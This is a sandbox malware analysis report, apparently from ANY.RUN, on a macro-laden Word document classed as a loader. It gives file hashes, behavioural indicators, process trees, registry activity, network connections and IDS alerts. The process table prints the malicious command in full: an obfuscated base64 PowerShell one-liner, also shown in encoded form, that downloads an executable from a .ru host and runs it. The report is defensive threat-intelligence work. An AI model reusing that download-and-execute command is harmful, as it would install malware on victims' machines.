| File name: | 173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.doc |
| Full analysis: | https://app.any.run/tasks/b7651114-3f00-42ef-9481-7d766a81f802 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | May 22, 2024, 20:08:23 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.wordprocessingml.document |
| File info: | Microsoft Word 2007+ |
| MD5: | F81B30A64F41A0F7A310CA679A228D79 |
| SHA1: | 356CB6B79FC52F1B3FA931865603E8154459A0EE |
| SHA256: | 173D644887FE55F54403E56181F9F4A61283332B264B2664BDD05F90317B9519 |
| SSDEEP: | 24576:2KQfMONtKi4Okb7dBVhtEkDCTgtwuRBMxp3nc+pO5zTj71:2KQfMONtKi4Okb7jVhtEkDCTgtwuRBMe |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 6232)
Microsoft Office executes commands via PowerShell or Cmd
- WINWORD.EXE (PID: 6232)
Unusual execution from MS Office
- WINWORD.EXE (PID: 6232)
Drops the executable file immediately after the start
- powershell.exe (PID: 7032)
SUSPICIOUS
Runs shell command (SCRIPT)
- WINWORD.EXE (PID: 6232)
BASE64 encoded PowerShell command has been detected
- cmd.exe (PID: 6712)
- powershell.exe (PID: 6784)
Application launched itself
- powershell.exe (PID: 6784)
Starts POWERSHELL.EXE for commands execution
- powershell.exe (PID: 6784)
- cmd.exe (PID: 6712)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 6784)
Base64-obfuscated command line is found
- powershell.exe (PID: 6784)
Unusual connection from system programs
- powershell.exe (PID: 7032)
The Powershell connects to the Internet
- powershell.exe (PID: 7032)
Executable content was dropped or overwritten
- powershell.exe (PID: 7032)
Potential Corporate Privacy Violation
- powershell.exe (PID: 7032)
INFO
Creates files in the program directory
- powershell.exe (PID: 7032)
Disables trace logs
- powershell.exe (PID: 7032)
Checks proxy server information
- powershell.exe (PID: 7032)
Reads the computer name
- 123.exe (PID: 1636)
Checks supported languages
- 123.exe (PID: 1636)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .docm | | | Word Microsoft Office Open XML Format document (with Macro) (53.6) |
|---|---|---|
| .docx | | | Word Microsoft Office Open XML Format document (24.2) |
| .zip | | | Open Packaging Conventions container (18) |
| .zip | | | ZIP compressed archive (4.1) |
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0006 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCRC: | 0x3f450766 |
| ZipCompressedSize: | 399 |
| ZipUncompressedSize: | 1503 |
| ZipFileName: | [Content_Types].xml |
XMP
| Title: | - |
|---|---|
| Subject: | - |
| Creator: | wolf |
| Description: | - |
XML
| Keywords: | - |
|---|---|
| LastModifiedBy: | wolf |
| RevisionNumber: | 4 |
| CreateDate: | 2024:05:21 09:23:00Z |
| ModifyDate: | 2024:05:21 09:52:00Z |
| Template: | Normal.dotm |
| TotalEditTime: | 3 minutes |
| Pages: | 1 |
| Words: | - |
| Characters: | 1 |
| Application: | Microsoft Office Word |
| DocSecurity: | None |
| Lines: | 1 |
| Paragraphs: | 1 |
| ScaleCrop: | No |
| Company: | - |
| LinksUpToDate: | No |
| CharactersWithSpaces: | 1 |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| AppVersion: | 16 |
Total processes
136
Monitored processes
7
Malicious processes
3
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1636 | "C:\ProgramData\123.exe" | C:\ProgramData\123.exe | — | powershell.exe | |||||||||||
User: admin Company: Simon Tatham Integrity Level: MEDIUM Description: SSH, Telnet, Rlogin, and SUPDUP client Version: Release 0.81 (with embedded help) Modules
| |||||||||||||||
| 6232 | "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n C:\Users\admin\AppData\Local\Temp\173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.doc.docm /o "" | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 16.0.16026.20146 Modules
| |||||||||||||||
| 6712 | cmd /c Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkVSA9ICdodHRwOi8vbW9ub3BvbGlhZnJvbXlvdS5ydS9kb3dubG9hZC8yLmV4ZSc7ICRQID0gJ0M6XFByb2dyYW1EYXRhXDEyMy5leGUnOyAkVy5Eb3dubG9hZEZpbGUoJFUsICRQKTsgSW52b2tlLUV4cHJlc3Npb24gJFA7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C; | C:\Windows\System32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6720 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6784 | Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkVSA9ICdodHRwOi8vbW9ub3BvbGlhZnJvbXlvdS5ydS9kb3dubG9hZC8yLmV4ZSc7ICRQID0gJ0M6XFByb2dyYW1EYXRhXDEyMy5leGUnOyAkVy5Eb3dubG9hZEZpbGUoJFUsICRQKTsgSW52b2tlLUV4cHJlc3Npb24gJFA7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6804 | "C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "5F9360AE-C353-4BB2-B2E9-AD97ED437C20" "3548A59B-6565-4346-959E-085912553A06" "6232" | C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64. Version: 0.12.2.0 Modules
| |||||||||||||||
| 7032 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAVQAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBwAG8AbABpAGEAZgByAG8AbQB5AG8AdQAuAHIAdQAvAGQAbwB3AG4AbABvAGEAZAAvADIALgBlAHgAZQAnADsAIAAkAFAAIAA9ACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAAxADIAMwAuAGUAeABlACcAOwAgACQAVwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVACwAIAAkAFAAKQA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABQADsA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
26 985
Read events
26 558
Write events
394
Delete events
33
Modification events
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling |
| Operation: | write | Name: | 0 |
Value: 017012000000001000B24E9A3E01000000000000000500000000000000 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\5932 |
| Operation: | delete value | Name: | 0 |
Value: ซ괐殺ࠆꯞꝅ莼跳⏺䘅헉꾍樁င$梅摝麨
ީ湕湫睯쥮賙ᒳ肫 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\5932 |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\6232 |
| Operation: | write | Name: | 0 |
Value: 0B0E10DDC7AA19110E9A45910C7DA347A006D0230046B1CCCF9ABD90ABED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511D830D2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | en-US |
Value: 2 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | de-de |
Value: 2 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | fr-fr |
Value: 2 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | es-es |
Value: 2 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | it-it |
Value: 2 | |||
| (PID) Process: | (6232) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages |
| Operation: | write | Name: | ja-jp |
Value: 2 | |||
Executable files
2
Suspicious files
113
Text files
52
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 6232 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E51F60DA-5C69-481D-8E36-8CC9FE53E116 | xml | |
MD5:B85A882FFF7E884CCBEA1BBEC9CF4FFE | SHA256:35630E8DECD9AA20E95BFE2E1D506838E519BD715715F7C34AED3DFA87A90BFE | |||
| 6232 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | abr | |
MD5:F233A6D14781943B131B639A44DFD4F1 | SHA256:023F5DF9DBEBCD5642C4871A5BEAF2AB29E1EDEDA996BF41AEE6B1D11CCA576E | |||
| 6232 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres | binary | |
MD5:6163FD19CF96F2A7B2A6852BCD6FC233 | SHA256:8A4DDD88DB71727A23B759B2C69D0E761C079E14272C230E3DC3C479A2776233 | |||
| 6232 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin | text | |
MD5:CC90D669144261B198DEAD45AA266572 | SHA256:89C701EEFF939A44F28921FD85365ECD87041935DCD0FE0BAF04957DA12C9899 | |||
| 7032 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vohjwihn.y41.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6232 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms | binary | |
MD5:E4A1661C2C886EBB688DEC494532431C | SHA256:B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5 | |||
| 6232 | WINWORD.EXE | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A | binary | |
MD5:1E81CBCFCCBCD2F417CAC030E8557D15 | SHA256:0265C629B0DB0EC171858327E3DD66DDBFE3A085074140D87CFA6DFE5A662D05 | |||
| 6232 | WINWORD.EXE | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A | binary | |
MD5:63F0014A5F66B492E502CEC7235B7AD3 | SHA256:7FDCB69E1F17B688839AF8F77EA5B2A61AF9B54FAA45927C165569DF26A93AF8 | |||
| 7032 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:50341C3E9B4783C4D4CD1F095A893E7D | SHA256:F41B3E3D721FF1883317659501CEAA934298346F7132EEEB821B0D53A5CF9642 | |||
| 7032 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_3qx0mgo2.wlk.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
16
TCP/UDP connections
109
DNS requests
25
Threats
3
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
528 | svchost.exe | GET | 200 | 23.193.186.145:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | — |
528 | svchost.exe | GET | 200 | 23.217.131.226:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | — |
7032 | powershell.exe | GET | 200 | 78.111.89.20:80 | http://monopoliafromyou.ru/download/2.exe | unknown | — | — | — |
6232 | WINWORD.EXE | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D | unknown | — | — | — |
1608 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | — |
4680 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D | unknown | — | — | — |
6580 | SIHClient.exe | GET | 200 | 23.217.131.226:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | — |
6580 | SIHClient.exe | GET | 200 | 23.217.131.226:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | — |
6232 | WINWORD.EXE | GET | 200 | 23.193.186.138:80 | http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl | unknown | — | — | — |
6232 | WINWORD.EXE | GET | 200 | 23.193.186.138:80 | http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl | unknown | — | — | — |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4364 | svchost.exe | 239.255.255.250:1900 | — | — | — | unknown |
4 | System | 192.168.100.255:138 | — | — | — | unknown |
528 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
4856 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
5140 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
6232 | WINWORD.EXE | 52.109.28.46:443 | officeclient.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | GB | unknown |
6232 | WINWORD.EXE | 52.113.194.132:443 | ecs.office.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | unknown |
6232 | WINWORD.EXE | 2.20.71.150:443 | omex.cdn.office.net | Akamai International B.V. | NL | unknown |
528 | svchost.exe | 23.193.186.145:80 | crl.microsoft.com | Akamai International B.V. | JP | unknown |
528 | svchost.exe | 23.217.131.226:80 | www.microsoft.com | Joint Stock Company TransTeleCom | RU | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
officeclient.microsoft.com |
| unknown |
ecs.office.com |
| unknown |
omex.cdn.office.net |
| unknown |
settings-win.data.microsoft.com |
| unknown |
crl.microsoft.com |
| unknown |
www.microsoft.com |
| unknown |
messaging.lifecycle.office.com |
| unknown |
monopoliafromyou.ru |
| unknown |
self.events.data.microsoft.com |
| unknown |
ocsp.digicert.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
— | — | A Network Trojan was detected | ET MALWARE Single char EXE direct download likely trojan (multiple families) |
— | — | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
— | — | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
Process | Message |
|---|---|
WINWORD.EXE | WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
|
WINWORD.EXE | WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
|
WINWORD.EXE | WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
|